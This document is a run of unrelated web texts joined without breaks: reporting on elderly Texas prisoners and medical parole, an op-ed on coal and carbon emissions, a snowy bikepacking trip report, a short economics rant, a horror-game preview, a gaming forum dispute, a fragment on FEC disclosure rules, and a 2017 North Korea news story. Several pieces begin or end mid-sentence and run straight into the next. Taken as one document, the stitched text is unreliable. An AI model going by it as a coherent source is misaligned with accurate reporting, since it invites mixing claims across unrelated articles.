He is not a humorless guy, and when I told him that he is the oldest convict among 5,500 men in “administrative segregation,” as TDCJ terms solitary confinement, he seemed amused. Men in solitary are generally allowed a one-hour break each weekday in fenced, bathroom-sized outdoor courtyards. Alonzo spends his exercise time “walking around in circles — like a psych patient,” he says with a grin.
He’s been in solitary since 1985 because he is what the prison system terms a “confirmed member” of a “Security Threat Group,” in this case, the Mexican Mafia. His calm and good cheer may also be informed by a macho, gangland code. While thousands of convicts say that they are innocent of the charges that brought them to prison, guys like Alonzo don’t whine. Doing so would violate the Mafia’s code of manliness and spoil his image, which among convicts, is that of a respected elder.
But a younger “ad seg” prisoner, Jason J. Hernandez, a 42-year-old with a string of convictions for theft, sometimes complains on his behalf. Hernandez gripes, for example, that when ad seg prisoners are shackled for trips to medical facilities, their hands are also clapped into handcuffs and into a device known as a “black box.” Black boxes make it difficult to raise one’s hands and arms. Their purpose is to prevent assaults upon guards or fellow prisoners. But the upshot, Hernandez charges, is that prisoners whose mobility is limited cannot use handrails to get on or off of the “chain” buses that transport them. They must hop or crawl instead, and for elders, hopping poses a danger of falling. Alonzo must sometimes take more than one bus to travel for medical care to Galveston. (A TDCJ spokesperson said correctional officers assist elderly inmates getting on and off buses.)
In one of the letters that Hernandez wrote me, he relays a story from “a senior,” probably Alonzo:
“He then told me that on one trip, an overweight man … was struggling into the chain bus. … His pants began to fall down to his knees. The prisoner asked the chain guards to please help him pull up his pants so that he wouldn’t trip, because he’d just underwent surgery on his knees and couldn’t bend down. The guards said, ‘We’re not going to lift his pants up for him.’ The prisoner was stuck with his pants down in front of everyone.”
Hernandez also says that staff shortages and negligence frequently imperil seniors. Convicts in solitary are moved every two weeks to prevent conspiracies, and Hernandez claims that during one of these cell switches in April, he watched as two guards accompanied Alonzo, his hands cuffed tightly behind his back, to a 3-by-6-foot unventilated shower stall, one of a half-dozen located in a row one tier below Hernandez’s cell. The apparent plan of the guards was to leave Alonzo there for a few minutes while they made the change. But the cell-switching was prolonged for more than half an hour, and the memory of a notorious incident a decade before sent Alonzo into a panic.
In 2003, an inmate at the McConnell Unit in Beeville died after spending two hours in a shower stall. An autopsy showed that the McConnell prisoner had been soaked in 190-degree waters that literally cooked his internal organs. Alonzo was an inmate at McConnell when that happened. Even though he was still dressed and water wasn’t coming from the showerhead, Alonzo says that when the vaporous atmosphere of the shower-stall row made it hard for him to breathe, he “started hollering and banging.”
Prison spokesman Hurst says that TDCJ records don’t show that anything of the kind happened, but according to Hernandez, when nobody rushed to Alonzo’s aid he and inmates in neighboring cells began kicking their doors and hollering demands that the old man be taken out of the shower. Perhaps the guards, he says, were called to more pressing duties; the Texas prison system suffers from a shortage of some 3,500 correctional officers, and those on duty can’t always promptly attend to matters. Hernandez alleges that by the time they came to his door to quiet the din, “I [had] blanked out and was ready to fight the team with all my might as hard as I could. … I tried to push the issue. I began to yell at the guards, ‘What’s up, bitch? What’s up, you fucking pussies!’”
The racket and insults shook the guards to their senses, he says. Realizing that they’d forgotten about Alonzo, they promptly pulled him from the shower — and even apologized. They then moved him, for the next two weeks, into the cell next to Hernandez.
Though neither Hernandez nor Alonzo will say as much, Alonzo may be lucky because he’s in solitary confinement. Prisons are stocked with aggressive young men who aren’t called “offenders” for nothing. Old and infirm prisoners are generally too mellowed to be aggressive, but all too often, they are also incapable of defending themselves. While solitary has been shown to have deleterious effects on mental health, it does protect the weak from the strong, the prudent from the rowdy, and, presumably, the old from the young.
Years ago, the Texas Department of Corrections, as it was then called, segregated inmates strictly by race and more informally by age, but discrimination along both those lines fell in the wake of prison reforms. Today, TDCJ takes account of the dangers of aging largely by classifying inmates with mobility problems as eligible for assignment only to the lower bunks of its two-bunk cells. But the result, several elderly prisoners at the Michael Unit in East Texas wrote me, is a shortage of lower-level bunks — and some wind up “mishoused” in solitary confinement.
The state of Texas does have a process for releasing old and infirm prisoners on humanitarian parole, but the record is underwhelming. A bureaucracy dating to 1987, the Texas Correctional office on offenders with Medical or Mental Impairments, usually named by the clunky acronym TCOOMMI, was assigned to process medically recommended intensive supervision, or MRIS, paroles. MRIS is a way to move inmates rendered harmless by their frailty or age back into the civilian world.
TCOOMMI reports to the Texas Board of Pardons and Paroles on an inmate’s health status, leaving the final parole decision to the board. In a February 2015 biennial report, TCOOMMI reported that of the 1,133 MRIS applications that had been submitted in fiscal year 2014, 318 had been found sufficiently meritorious for presentation to the parole board. Of those, the board had granted 67 releases — a mere 6 percent approval rate.
In a 2012 statement, TDCJ admitted that “the Parole Board’s approval rates of MRIS cases remain low.” But the board’s performance hasn’t shown signs of improvement. In the 2015 fiscal year, 445 prisoners older than 60 filed for medical paroles — but only 24 paroles were granted, all of them on the basis of infirmity, none on the basis of age. The roadblock is a provision of the law allowing the parole board to conclude that a prisoner constitutes a threat despite what doctors say.
The last years of Johnny R. Martinez, aka Juan Ramírez Martinez, provide a case in point. Martinez, short of stature and a bit chubby, was a small-time Austin hoodlum. He’d done prison time from 1962 to 1965 for aggravated robbery, from 1966 to 1968 for forging a check, and from 1971 to 1986 for possession of heroin. Each sentence had ended with a grant of parole. But in 1993, at the age of 52, he returned to prison after conviction for touching the genitals of two minors, both 11 and the grandchildren of his live-in girlfriend, Phyllis Ketcham. Though testimony from one of the children and secondhand reports from the mothers of both were aired in court, Martinez and Ketcham hotly denied his guilt.
Martinez was a diabetic. Ketcham had complained early in his sentence about the boots TDCJ had issued him, saying that he was experiencing neuropathy, a common diabetic discomfort marked by numbness and/or pain in the soles of the feet. Around 2000, his vision began to fail, as it often does as diabetes advances.
Medical records provided to the Observer by Ketcham state that in 2002 he developed diabetic gangrene in his left foot and “was admitted on 07/25 to the hospital and taken to surgery that night for guillotine amputation of the foot.” The fix didn’t work. “The following Monday, 4 days later,” the records state, “he was revised to a below the knee amputation.” His medical records also note that by then, he was “legally blind.” Later that year, the parole board rejected his first application for MRIS parole. Perhaps a one-legged blind man in a wheelchair can sexually assault children — but what are the odds?
In 2007, prison doctors again recommended Martinez for MRIS parole, again without success. Late that year he was placed on dialysis three days a week for “End State Renal Disease.” An examination subsequently turned up cataracts and retinal detachment.
According to the medical records, on December 10, 2010, “when he was told by his fellow inmates that there is a blackened area that has developed over his right heel,” Martinez reported for hospitalization again. His medical caretakers found a “foul smelling foot” with “wet and dry gangrene.” Three days later, they amputated his right leg below the knee. At the time of discharge, Martinez, then 69, was being administered 16 oral medications and six insulin injections every day. His records show that he needed “total assist” with “dressing, toileting, and hygiene,” but they don’t indicate how much any of his care cost the state.
His declining health finally led to an MRIS parole — but not until June 2013, when he was taken to a private nursing home in Houston, blind, immobile and with a new limitation, mental confusion. He died in the nursing facility in September, thoroughly tortured, if not by imprisonment, then by his decade-long medical decline.
As both the statistics and cases like that of Martinez show, given the reluctant disposition of the parole board, Benito Alonzo, who is still sighted and still ambulatory, likely wouldn’t stand a chance of release under the beneficence of the MRIS program, even if he bothered to apply. He’s also eligible for parole of the ordinary kind — and has been for the past 31 years. He’s been denied parole 21 times, probably because his crime was notorious. Two women, both prison system employees, were killed along with Carrasco and a co-conspirator. Alonzo’s crime was against the people of Texas, according to legal theory, but it’s probably more important to his parole history that his was also a crime against TDCJ.
Benito Alonzo would today have a hard time exacting any revenge or harming anybody, and whether he lives or dies is of little concern except to a coterie of kin and perhaps in the circles of the Mexican Mafia. If he dies in prison, as we must currently expect, though he’d prefer to be interred in San Antonio, his corpse will be eligible for a casket and a grave at public expense, in the prison cemetery, of course.
[Featured image by Jen Reel. Benito Alonzo, 80, is an inmate at the Polunsky Unit. He suffers from prostate cancer and Hepatitis C.]Coal-fueled power plant in Cheshire, Oh.
Global coal use rises with the global demand for electricity.
The gulf between the hard realities of the global energy market and the Obama administration’s energy policies grows wider by the day.
On Wednesday, Heather Zichal, the White House coordinator for energy and climate change, told a group of reporters that Obama, knowing that climate change is “a legacy issue,” will soon issue new rules to limit carbon-dioxide emissions from electricity-generation plants. “After all that we’ve done, after all that historic progress in the first four years, we are well poised to take meaningful action for the second term,” Zichal said.
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Obama’s looming skein of regulations is being promoted just one week after BP issued its latest Statistical Review of World Energy, which provides yet more proof of two indisputable facts: Even without more regulations from the White House or the EPA, the U.S. continues to lead the world in reducing carbon-dioxide emissions. And while the U.S. may be cutting its coal use (and, therefore, its carbon-dioxide emissions), the rest of the world continues to binge on coal.
Last year, the U.S. reduced its emissions by 3.9 percent. That reduction was larger than that of any other major industrialized country. In contrast, China’s carbon-dioxide output soared by 6 percent and India’s by 6.9 percent, while Brazil’s rose by 2.5 percent and Mexico’s by 4.3 percent.
U.S. carbon-dioxide emissions are falling largely because of a huge drop in coal consumption, which was down a whopping 11.9 percent in 2012. Domestic coal use is plummeting for several reasons. Among them are increasing regulatory burdens, on everything from coal mining to coal-ash management, and the Obama administration’s threat of new regulations specifically on carbon-dioxide emissions. (Slow economic growth has also been a factor.)
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The biggest factor, though, in America’s success in cutting emissions has been the shale gale. A tsunami of natural-gas production has been unleashed in recent years thanks to continuing improvements in extended-reach horizontal drilling and hydraulic fracturing. Domestic natural-gas production was up 4.7 percent last year, to a record 65.7 billion cubic feet per day. That increase in production has led to cheaper natural gas, and that cheap gas is displacing coal at the power plant. (Increasingly, it’s also displacing oil as motor fuel, but that’s another story.)
The shale gale — and the resulting drop in domestic carbon-dioxide emissions — is a remarkable story. Thanks to market forces, not government regulation, the U.S. is reducing its emissions faster than Europe is, even though the European Union has imposed a myriad of regulations aimed at cutting them. Indeed, last year carbon-dioxide emissions rose by 1.3 percent in Germany, the EU’s largest economy.
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While American utilities are switching from coal to gas, electricity generators around the world are swarming to the coal market. The BP data show that between 2002 and 2012, global coal consumption grew by the equivalent of about 26 million barrels of oil per day. That’s nearly as much as the growth in oil, natural gas, hydro power, and nuclear power combined.
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In 2012, global coal use increased by the equivalent of 2 million barrels of oil per day. That was more than three times the growth of non-hydro renewables (solar, wind, biomass, and geothermal), which were up by 600,000 barrels of oil equivalent per day.
Global coal use will continue to rise because global demand for electricity continues to rise, and that demand is being met largely with coal. In April, the International Energy Agency projected that global coal consumption will increase by about 12 million barrels of oil equivalent per day by 2017. If that occurs, coal use could surpass oil use in the share of global energy. That’s a stunning development. The last time coal consumption in the U.S. was greater than oil consumption was 1949.
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Some of the coal being burned overseas is coal that is not being burned here. In March, the U.S. set a record for coal exports in a month, 13.6 million tons. Indeed, on the same day that Zichal was talking about Obama’s legacy on climate issues, the Energy Information Administration released a report showing that U.S. coal exports are likely to set another record this year, after setting a record of nearly 126 million tons in 2012. The EIA pointed to increased Asian demand as a major reason for the rise in U.S. coal exports.
The fundamental problem with Obama’s approach to carbon-dioxide emissions is the idea that the U.S. can solve the problem. No matter what the U.S. does, emissions will continue to soar, because so many people in the developing world want to come out of the dark and into the bright lights of modernity. Proof of that can be seen in yet one more number that’s easily found in the BP data: Over the past decade, global carbon-dioxide emissions would have risen by 2.6 billion tons even if U.S. emissions had gone to zero.
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During her chat with reporters, Zichal claimed that the White House is embarking on an effort to “turn this issue from a red-state, blue-state issue to an American issue.” She went on to say that the administration is launching “a sustained focus on depoliticizing the climate on climate policy.”
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No matter what Zichal might say, climate policy will always be political, because so much money is at stake. What’s troubling about the Obama administration’s approach to carbon-dioxide issues, however, isn’t the presence of politics. It’s the absence of math.
— Robert Bryce is a senior fellow at the Manhattan Institute. His latest book is Power Hungry: The Myths of “Green” Energy and the Real Fuels of the Future.
AdvertisementBikepacking the Moose River Plains: A True Test of Mettle Jim DeWitt Blocked Unblock Follow Following Oct 24, 2016
We’d been planning this trip for a little over a month, and there was no way we were going to bail. Our destination was the Moose River Plains Wild Forest, starting to the west from Inlet, NY and traversing the entire area to the eastern entrance to the forest near the Cedar River. The chance to do some riding in the vast, glorious backcountry region that is the Adirondacks (almost 1/3 the area of our state!) had our excitement levels high. The only problem? The weather forecast looked bleak. As we would find out, the weather would indeed be bad, and then continued to get worse. Like I mentioned, there was no way we were going to bail, and thusly, everyone made the best preparations they could for what would prove to be a true test of our ability to deal with inclement weather in the middle of nowhere.
Making our preparations. It didn’t stop precipitating for the next ~16 hours. Rain gear will be put to the ultimate test.
For my part, a merino wool base layer, a cotton flannel (ill advised… read on to find out why), and a sturdy rain shell accompanied by sturdy rain pants would keep me warm. Winter gloves with silk liners, and SPD shoes over liner socks and wool socks finished out the ensemble. I put on my Giro Proof winter weather shoe covers, but these were completely saturated and frozen into popsicles by the next morning. Waterproof SPD boots, or even the addition of waterproof socks would’ve been the ideal choice here… a lesson learned. After gearing up at the Inlet town information office (and gaining permission to park overnight), we rolled out of town with high spirits, ready (in our minds) for whatever awaited us. Some steep climbing out of town right off the bat got our furnaces fired up quickly, and soon we arrived at the Limekiln Lake entrance to the Moose River Plains area. By this time, the rain had turned to full-on wet snow.
Always be #grammin. (photos by Daniel Breslawski and Blake Terzini)
We rode forth through the snow, admiring the unique beauty surrounding us. The moody weather added a special quality to the breathtaking nature of this area — the feeling of being out there when no one in their right mind would choose to be enhanced the views. After a few steep climbs, a quick repair after Justin took an unfortunate spill on a slippery descent, and a brief stop to nosh on slowly freezing snacks, we arrived at the flat area of the plains, through which a sandy dirt road snakes towards Wakely Dam — our campsite goal for the day.
The moody scenery. We soaked it in (literally).
#roadslikethese
As we slowly inched towards our campsite, with one major climb remaining between us and our goal, the snow really began to accumulate. I was certainly feeling thankful for the choice to bring my Surly Moonlander along for the ride. As the cold weather began to effect us all around mile 19–20, some of us hiked a large portion of the final climb before the descent to the Wakely Dam campsites. Being off the saddle for even just a few minutes seems to re-invigorate my legs when I get back on the bike — so never any shame in a little hike-a-bike. Having made it over the last climb, we descended to the camping area, and picked out a little spot with some decent tree shelter and an outhouse. Tents and hammocks were pitched quickly, the goal of getting into dry clothes and warming up in mind. My aforementioned flannel was soaked in moisture that had came off of my body, and by the morning it had frozen solid. Once these immediate goals were accomplished, we set off to investigate building a fire. Our wonderfully eccentric camp neighbor, Ron, who was out hunting with some friends and family for opening weekend, graciously allowed us the use of their large fire pit and stockpile of wood. After fussing with our Bic lighters and dryer lint kindling for a while, Ron once again saved the day with some good old fashioned accelerant — immediately granting us a roaring fire. Success! Ron, you are the dude, and yes, those are indeed some “BIIIIG fuckin’ tires”.
Arriving at camp, and enjoying our fire courtesy of Ron. RON FOREVER. My glove caught on fire. I thankfully brought two pairs.
Those of us with the remaining stamina and patience for the continuing precipitation and the cold made our dinners huddled around the fire. An experiment with a dehydrator proved to be a great success, and I enjoyed a nice, warming pot of goulash while doing my best to stay warm and dry my gloves (which ended with a burned glove, because of course it did). It was a pretty unanimous decision for us all to turn in early and hunker down in our warm sleeping bags. My 20 degree bag paired with the trusty Thermarest Z-Lite SOL kept me warm and dry all night. The sound of accumulation sliding off my rainfly had me feeling extremely thankful for my warm and dry shelter. After a bit of reading and podcasts, I drifted off to sleep.
#wokeuplikethis
The sound of Ron firing up his generator gently woke me around 8:00am (we forgive him for this, because he gave us fire). I had set out mise en place for coffee in my vestibule, yet my Bic lighter had become saturated with moisture from the night before, and refused to spark. Thankfully, Blake came to the rescue, as his piezo igniter was still working. A hugely satisfying cup of pour-over coffee in my tent was the result, and I sipped it while slowly and carefully sauteing my liner gloves in my cookpot over my stove to coax as much moisture out of them as I could. I should’ve brought along an extra pair of dry liner gloves, in hindsight. Lessons learned. It had become clear overnight that neither Mario nor Justin would be able to complete the ride. Wet socks and wet gloves that were no longer adequately insulating and had little to no chance of drying overnight relegated them to hunkering down in their warm sleeping bags while Blake, Dan and myself continued the ride back to town to launch an automobile rescue mission of our comrades. Having chowed down on a fairly frozen Clif bar, unloaded my bike (since we would be coming back here with a car, we opted to ride back mostly unladen), and donned my warm, snuggly down jacket, the three of us set back out to ride the 25 miles back the way we came through the forest. Despite my shoes being wet, some quick intuitive cannibalization of a space blanket resulted in a pair of waterproof booties with which to wrap my feet. This move was crucial — I would’ve felt slightly endangered regarding frostbite otherwise. The freshly sauteed gloves kept my hands warm the whole ride back.
The storm dumped a ton of snow in the forest, and downed several trees. After 25 cold and determined miles, we exited the forest. Where was this weather the whole time!? (photos by Daniel Breslawski)
The roads had gotten much worse overnight — the heavy snowfall had downed several trees, and we encountered a fellow towing a trailer with a 2WD truck who had become stuck. The melting snow had turned the dirt roads under it into muck, and the going felt slow. It was determined our rescue mission would not take us back through the forest, but rather up and around the area to the eastern entrance. The weather on this day was much better, with not a cloud in the sky, and temperatures starting to approach 44 degrees. The three of us rode the 25 miles out of the forest without much of a break, driven by the thought of warm cars and rescuing our stranded compadres. I ticked off each mile in my head as we went, making my goal to reach the next mile. Eventually, with a fair amount of fanfare, we made it out of the forest. A short pavement ride (and one last climb) brought us back into town, and back to our warm cars. The feeling of victory was upon us… but we still had to grab our friends and our gear. We drove up through Raquette Lake eastbound towards the other side of the forest. A winding dirt road took us along the Cedar River in towards the eastern entrance to the Moose River Plains area, where Justin and Mario awaited us. We hoped they were still alive, or maybe hanging out with Ron in his dope camper. We were happy to discover both of them alive and well, and in good spirits. After quickly packing up all of our remaining gear and bicycles, we headed out back to Inlet, NY to Screamen Eagle Pizza. A few beers and two wonderful, large, hot pizzas while sitting by the fireplace nursed our spirits and our cold bodies. After time spent reminiscing about our insane journey, we departed back to our home of Rochester, NY, to rejoin the real world.
Rescue mission. (photos by Blake Terzini)I see this argument all the time, especially on Reddit: “you don’t understand economics” or “clearly this person doesn’t understand economics.” Whenever anyone says this, they don’t actually attempt to explain what it is the person doesn’t understand, or even how their argument is wrong, or even engage with what’s being said in any way at all. It’s just tossed out there like a mic drop. “You just don’t understand economics” is the ultimate thought-stopping technique deployed whenever anyone questions conventional free market orthodoxy. The subtext is that anyone who has any opinion outside of the narrow box of laissez-faire capitalism is a foolish, starry-eyed dreamer, whereas the hard, grounded poster “gets it.” But, of course, the only thing they really “get” is the economic doctrines they’ve been spoon fed their whole life.
This lecture by Ha-Joon Chang is a good refutation of the non-argument “you just don’t understand economics.”Like P.T., Allison Road is psychological thriller set in a house. A British townhouse. You wake up with your family gone and no memory of what happened. Your aim is to piece together clues and solve hidden mysteries to find your family, all the while trying to evade "Lily" and the other paranormal entities that have taken up residence in your home. In another nod to the playable trailer, you're up against a clock that continuously ticks towards 3am.
However, there is one major difference between the two titles, namely how you interact with objects inside your Allison Road abode. While P.T. gave you one button and a small number of items to select, Allison Road offers a more expansive experience -- it actively wants you to solve clues by picking up and collecting things in each room.
Allison Road originally started as a one-man project headed by developer Chris Kesler, who has since expanded his company, Lilith, into a team of 10. It's now seeking £250,000 ($387,000) to focus on shipping the game by Q3 2016, but it will get published even if it doesn't reach the goal. Right now it's PC-only, with Oculus Rift VR support, but stretch goals will bring it to Mac and Linux computers, as well as PlayStation 4 and Xbox One.Remember to subscribe to us on YouTube and follow us on TwitchTV and you will never miss any of our exclusive AGN ReachCast Events!
Tune in on our specially designed Community Clash page for information about the show, participants and more complete with live chat. Want to participate in future events? Simply fill out this form for your chance to compete in a future Community Clash. Curious about the rule set? Check out the rules page for more information. Last but not least be sure to share this event on Twitter!
Are you ready for the next match up of Community Clash? Next week will be 48v48 on Nexus and pit two outfits against two outfits as TXR and MERC match up against NNG and TGWW. Vanu still have an undefeated record so far on Community Clash, can the Terran Republic finally break the streak? Tune in and watch them compete live Wednesday September 25th at 8PM Central Time. Not sure what time that is for you? Hit up the time zone converter. There have also been some rule changes this time around so be sure to check them out. As always the hosts will be a combined team of AGN and ReachCast.
Latest Comments
2013-09-30 07:17 PM
retrogreq Re: Community Clash Recording TXR and MERC vs NNG and TGWW TorinPS Originally Posted by Nope.
2013-09-30 07:35 PM
Dreadnaut Re: Community Clash Recording TXR and MERC vs NNG and TGWW Lepalose Originally Posted by If you meant it, then you should have acted upon it. Preaching about locker-room dynamics after an 'anonymous' source passes you a recording is clearly trying to infuriate my members, as sort of a 'passing-shot' as this conversation is supposed to die down.
Lepalose Originally Posted by TL;DR: private conversations deserve to remain private, MERC accepts the clarification by RCCC to the rules regarding what makes a team, MERC congratulates NNG/TGWW for the win, MERC will continue to compete in the future.
No need for you to get on your horse when your members are the ones responsible for all the bickering back and forth.
2013-09-30 07:57 PM
Rumblepit Re: Community Clash Recording TXR and MERC vs NNG and TGWW Dreadnaut Originally Posted by I'm slowly starting to lose my desire to be polite when I read things like this. No need to be snippy with me when your members are the ones that started this completely asinine TGWW bashing. I'll post as I see fit, I retract my previous statement. Now you sir have my 100% undivided attention.
Private conversations don't deserve to be kept private when your member is openly lying on a public forum and the only way for us to contradict those statements is to prove we know otherwise. We didn't steal anything, we didn't do anything wrong, we just proved your member was lying and it wasn't heresay.
No need for you to get on your horse when your members are the ones responsible for all the bickering back and forth.
As for the intent of these rules. I think you will see most outfits have a clear understanding of these rules and wont be inviting all the ring
|
Court opened the door to vastly more corporate and union money to infiltrate campaigns, are woefully out of date. It has to be said that without Congressional action, the agency probably would not be able to provide the comprehensive disclosure Sunlight has called for. But, there is no excuse for the FEC’s failure to make significant improvements to its own disclosure rules in order to respect and uphold the Court’s reasoning that, “transparency enables the electorate to make informed decisions and give proper weight to different speakers and messages.”
The Commission noted that in the 2004 election cycle, 96 percent of organizations making electioneering communications reported their sources of funding. Even before Citizens United, that number had been shrinking due to various FEC and Court decisions. But during the 2010 elections, only 41 percent of those groups reported their sources of funding. That is an appalling and frightening statistic that is still further evidence that campaign funding has again become almost as secretive as it was in the pre-Watergate days.
In a statement, FEC chair Cynthia L. Bauerly said, “I remain hopeful that the Commission will be able to reach consensus on a Notice of Proposed Rulemaking…” It took the FEC a year to reach this point of no action. Forgive us, Chair Bauerly, if we don’t share your optimism that the FEC will succeed in creating meaningful disclosure rules before the 2012 election season begins.The North Korea nuclear crisis could lead to a global planetary catastrophe, Vladimir Putin warned today.
Speaking after a summit in China, the Russian president condemned the rogue state's detonation of a hydrogen bomb on Sunday as 'provocative'.
But he warned against 'useless and inefficient' sanctions, saying they could escalate tensions.
'All of this can lead to a global planetary catastrophe and a great number of victims,' he said.
His comments at a BRICS summit in Xiamen came after North Korea reportedly moved an intercontinental ballistic missile to its coast amid warnings from the US that Kim Jong-un is 'begging for war'.
Stark warning: The North Korea nuclear crisis could lead to a global planetary catastrophe, said Vladimir Putin
Meeting: Chinese President Xi Jinping, right, and Russian President Vladimir Putin, left, are both likely to reject US-proposed sanctions on North Korea
Mr Putin called for talks with North Korea, and warned against'military hysteria'.
He said it was important that all parties, including North Korea, should not face 'threats of annihilation' and'step on the path of cooperation'.
The Russian leader added: 'Whipping up military hysteria makes absolutely no sense in this situation. This is a road to nowhere.'
This morning, South Korean media claimed Pyongyang had started moving a rocket towards the country's west coast on Monday, using the cover of darkness to avoid surveillance.
The US is pushing for the'strongest possible measures' on the rogue nation following its sixth and most powerful nuclear test - but China and Russia are likely to oppose UN sanctions.
But North Korea showed no let-up in its rhetoric this morning, suggesting that South Korea needs to be punished for being at the beck and call of the US.
A ranting editorial in state newspaper Rodong Sinmun said: 'The south Korean puppet forces are not free to fire even a single bullet as they are at the U.S. beck and call. Such guys are crying out for 'punishment'. This would make even the stone Buddha in the temple laugh.'
A separate statement from Kim Myong Gil, officer of the Korean People's Army, said North Korea's nuclear test had been 'heavy punishment and sledgehammer blows to the US imperialists'.
Amid heightened tensions on the Korean Peninsula, Seoul this morning launched major live-fire naval drills to warn its isolated neighbour against any provocations at sea.
South Korea also said it was talking to Washington about deploying aircraft carriers and strategic bombers to the Korean peninsula and has not ruled out redeploying US tactical nuclear weapons on its territory.
North Korea has'moved an intercontinental ballistic missile to its coast' amid warnings from the US that Kim Jong-un (pictured) is 'begging for war'
Pyongyang started moving a rocket towards the country's west coast on Monday, using the cover of darkness to avoid surveillance, South Korean media claim. Pictured: North Korea carried out a launch of an intermediate range missile in August
South Korean warships including a 2,500-ton frigate, a 1000-ton patrol ship and 400-ton guided-missile vessels participated in drills aimed at retaliating against potential North Korean threats
The South Korean army's K-1 tanks take part in a military exercise in Paju, South Korea this morning
Defense Minister Song Young-moo said that he asked his US counterpart, Jim Mattis, to bolster defences in the South.
'I told him that it would be good for strategic assets to be sent regularly to the Korean Peninsula and that some South Korean lawmakers and media are strongly pushing for tactical nuclear weapons [to be redeployed],' Song is quoted as saying.
'The redeployment of tactical nuclear weapons is an alternative worth a full review,' Song added.
This morning, South Korean warships including a 2,500-ton frigate, a 1000-ton patrol ship and 400-ton guided-missile vessels participated in drills aimed at retaliating against potential North Korean threats.
US Ambassador Nikki Haley told an emergency meeting of the UN Security Council that Washington will present a new sanctions resolution to be negotiated in the coming days, with a view to voting on it next Monday.
'Only the strongest sanctions will enable us to resolve this problem through diplomacy,' Haley told the meeting Monday called by the United States, Britain, France, Japan and South Korea.
North Korea on Sunday triggered global alarm when it detonated what it described as a hydrogen bomb designed for a long-range missile.
The underground blast had a yield of between 50 and 100 kilotons, or on average more than five times more powerful than the bomb detonated over Hiroshima, UN political affairs chief Jeffrey Feltman told the council.
Declaring that 'enough is enough,' Haley said incremental sanctions imposed on Pyongyang since 2006 had failed.
South Korea's airborne early warning and control system aircraft, called Peace Eye, takes off to monitor North Korea's military movements at an air base in Gimhae, southeast of Seoul, South Korea
Russian Ambassador to the UN Vasily Nebenzya (left) speaks with US Ambassador Nikki Haley (R) and Chinese Ambassador Liu Jieyi (centre) after a UN Security Council emergency meeting over North Korea's latest nuclear test
US Ambassador Nikki Haley told an emergency meeting of the UN Security Council that Washington will present a new sanctions resolution to be negotiated in the coming days, with a view to voting on it next Monday
Leader Kim Jong-Un's 'abusive use of missiles and his nuclear threats show that he is begging for war,' she said.
'War is never something the United States wants and we don't want it now, but our country's patience is not unlimited,' she said.
Haley did not spell out what measures Washington was seeking, but diplomats said they could target oil supplies to North Korea - potentially dealing a major blow to the economy.
New sanctions could also seek to curb tourism to the country and ban North Korean laborers sent abroad.
The draft text was expected to be presented to the 14 other council members on Tuesday as the United States sought to respond quickly to reports that North Korea was preparing another missile launch.
This morning, South Korea's Asia Business Daily, citing an unidentified source, reported that North Korea had been spotted moving a rocket that appeared to be an intercontinental ballistic missile (ICBM) towards its west coast.
South Korean soldiers walk to a checkpoint near the Demilitarized zone (DMZ) separating North and South Korea, on Ganghwa island
The rocket started moving on Monday and was spotted moving only at night to avoid surveillance, the report said.
South Korea's defence ministry, which warned on Monday that North Korea was ready to launch an ICBM at any time, said they were unable to confirm the contents of the report.
Pyongyang in July fired two intercontinental ballistic missiles (ICBMs) that apparently brought much of the US mainland into range and Seoul has said it could be planning another test.
Meanwhile Japan is planning for a possible mass evacuation of nearly 60,000 Japanese citizens living in or visiting South Korea amid heightened tensions with the North.
PYONGTANG'S NUCLEAR TIMELINE Here are key dates in North Korea's quest to develop a nuclear-tipped missile capable of hitting the United States: Late 1970s: North Korea starts working on a version of the Soviet Scud-B (range 300 kilometres or 185 miles). Test-fired in 1984. 1987-92: Begins developing variant of Scud-C (range 500 km), Rodong-1 (1,300 km), Taepodong-1 (2,500 km), Musudan-1 (3,000 km) and Taepodong-2 (6,700 km). August 1998: Test-fires Taepodong-1 rocket over Japan in what it calls a satellite launch -- the US and others say it is a missile test. September 1999: Declares moratorium on long-range missile tests amid improving ties with US. July 12, 2000: Fifth round of US-North Korean missile talks in Kuala Lumpur ends without agreement after North demands $1 billion a year in return for halting missile exports. March 3, 2005: Pyongyang ends moratorium on long-range missile testing, blames Bush administration's 'hostile' policy. The tests came after North Korea conducted its sixth and most powerful nuclear test on Sunday - in violation of UN resolutions - which it said was an advanced hydrogen bomb for a long-range missile July 5, 2006: Test-fires seven missiles, including a long-range Taepodong-2 which explodes after 40 seconds. October 9, 2006: Conducts underground nuclear test, its first. April 5, 2009: Launches long-range rocket which flies over Japan and lands in the Pacific, in what it says is an attempt to put a satellite into orbit. The United States, Japan and South Korea see it as a disguised test of a Taepodong-2. May 25, 2009: Conducts its second underground nuclear test, several times more powerful than the first. April 13, 2012: Launches what it has said is a long-range rocket to put a satellite into orbit, but which disintegrates soon after blast-off. December 12, 2012: Launches a multi-stage rocket and successfully places an Earth observational satellite in orbit. February 12, 2013: Conducts its third underground nuclear test. January 6, 2016: Conducts its fourth underground nuclear test, which it says was a hydrogen bomb -- a claim doubted by most experts. March 9, 2016: Kim Jong-Un claims the North has successfully miniaturised a thermo-nuclear warhead. Photos show the country's leader Kim Jong-un inspecting the hydrogen device that it promised would be loaded on a new intercontinental ballistic missile April 23, 2016: Pyongyang test-fires a submarine-launched ballistic missile. July 8, 2016: US and South Korea announce plans to deploy an advanced missile defence system -- THAAD (Terminal High Altitude Area Defense). August 3, 2016: North Korea fires a ballistic missile directly into Japan's maritime economic zone for the first time. September 9, 2016: Conducts fifth nuclear test, its most powerful to date. March 6, 2017: Fires four ballistic missiles in what it says is an exercise to hit US bases in Japan. March 7, 2017: US begins deploying THAAD missile defence system in South Korea. May 14, 2017: North Korea fires a ballistic missile which flies 700 kilometres before landing in the Sea of Japan. Analysts say it has an imputed range of 4,500 kilometres (2,800 miles) and brings Guam within reach. July 4, 2017: Test-fires a ballistic missile that analysts say brings Alaska within reach. Pyongyang later says it was a 'landmark' test of a Hwasong-14 intercontinental ballistic missile (ICBM). July 28, 2017: Launches an ICBM with a theoretical range of 10,000 kilometres, meaning it could hit much of the United States. August 26, 2017: Fires three short-range ballistic missiles. August 29, 2017: Fires ballistic missile over Japan and into the Pacific, acknowledging for the first time that it has done so. South Korea says it flew around 2,700 kilometres at a maximum altitude of about 550 kilometres. September 3, 2017: North Korea appears to carry out sixth nuclear test, with seismic monitors measuring an 'explosion' of 6.3 magnitude near its main test site. Japan's government confirms a nuclear test has been carried out.
Japanese Prime Minister Shinzo Abe said at a meeting: 'We need to remain extremely vigilant and do everything we can to ensure the safety of our people.'
According to Nikkei Asian Review, a government source added: 'If the U.S. decided on a military strike against the North, the Japanese government would start moving toward an evacuation on its own accord regardless of whether the American plans are public.'
